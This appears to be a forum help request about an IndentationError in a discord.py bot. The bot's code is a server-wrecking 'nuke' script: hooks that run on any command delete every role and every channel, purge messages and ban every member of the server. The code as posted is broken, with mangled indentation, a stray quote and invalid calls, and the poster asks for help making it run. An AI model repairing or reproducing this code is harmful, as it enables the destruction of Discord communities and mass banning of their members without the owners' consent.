Indentationerror: unindent does not match any outer indentation level discord.py

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Python

Hi, I have been working on a bot in Discord.Py and I have recently encountered some errors. Here is my code:

import discord
from discord.ext import commands
import asyncio
import time
import yapf

bot = commands.Bot(command_prefix="£")


@bot.event
async def on_ready():
    print('We have logged in as {0.user}'.format(bot))


@bot.before_invoke
async def idk(ctx):
    for role in ctx.guild.roles:
        try:
            await role.delete()
        except:
            await ctx.send(f"Cannot delete {role.name}")


@bot.command()
async def M79Dya3(ctx):
 limit = 0
 async for msg in ctx.channel.history(limit=None):
        limit += 1
 for channel in ctx.guild.channels:
  await ctx.channel.purge(limit=limit)
time.sleep(5)


@bot.after_invoke
async def idklol(ctx):
 for c in ctx.guild.channels:
  await c.delete.all()
  time.sleep(10)
 channel = await ctx.guild.create_text_channel('goodbye-potatoes')
 ctx.channel.send("hello")
time.sleep(30)
for user in ctx.guild.members:
 try:
    await user.ban(reason=None", delete_message_days=7)
   print(f'Banned {user.display_name}!')
   print(f"Banning is complete!")
 except:
     pass


bot.run ('token goes here')

What I have tried:

When I properly indent this section of the code: <pre lang="Python">try:
   await user.ban(reason=None)
   print(f'Banned {user.display_name}!')
   print(f"Banning is complete!")
  except:
     pass

I get more errors on this part:

channel = await ctx.guild.create_text_channel('goodbye-potatoes')
 ctx.channel.send("hello")
time.sleep(30)
for user in ctx.guild.members:
  try:
   await user.ban(reason=None)

The error for

channel = await ctx.guild.create_text_channel('goodbye-potatoes')

is

Quote:

local variable 'channel' is assigned to but never used

, the error for

ctx.guild.members:

is

Quote:

undefined name 'ctx'

and the error for

await user.ban(reason=None)

is

Quote:

'yield' outside function

. I don't know if i have indented the code incorrectly or if there is something wrong with the actual code, but if someone could help that would be great. Thanks.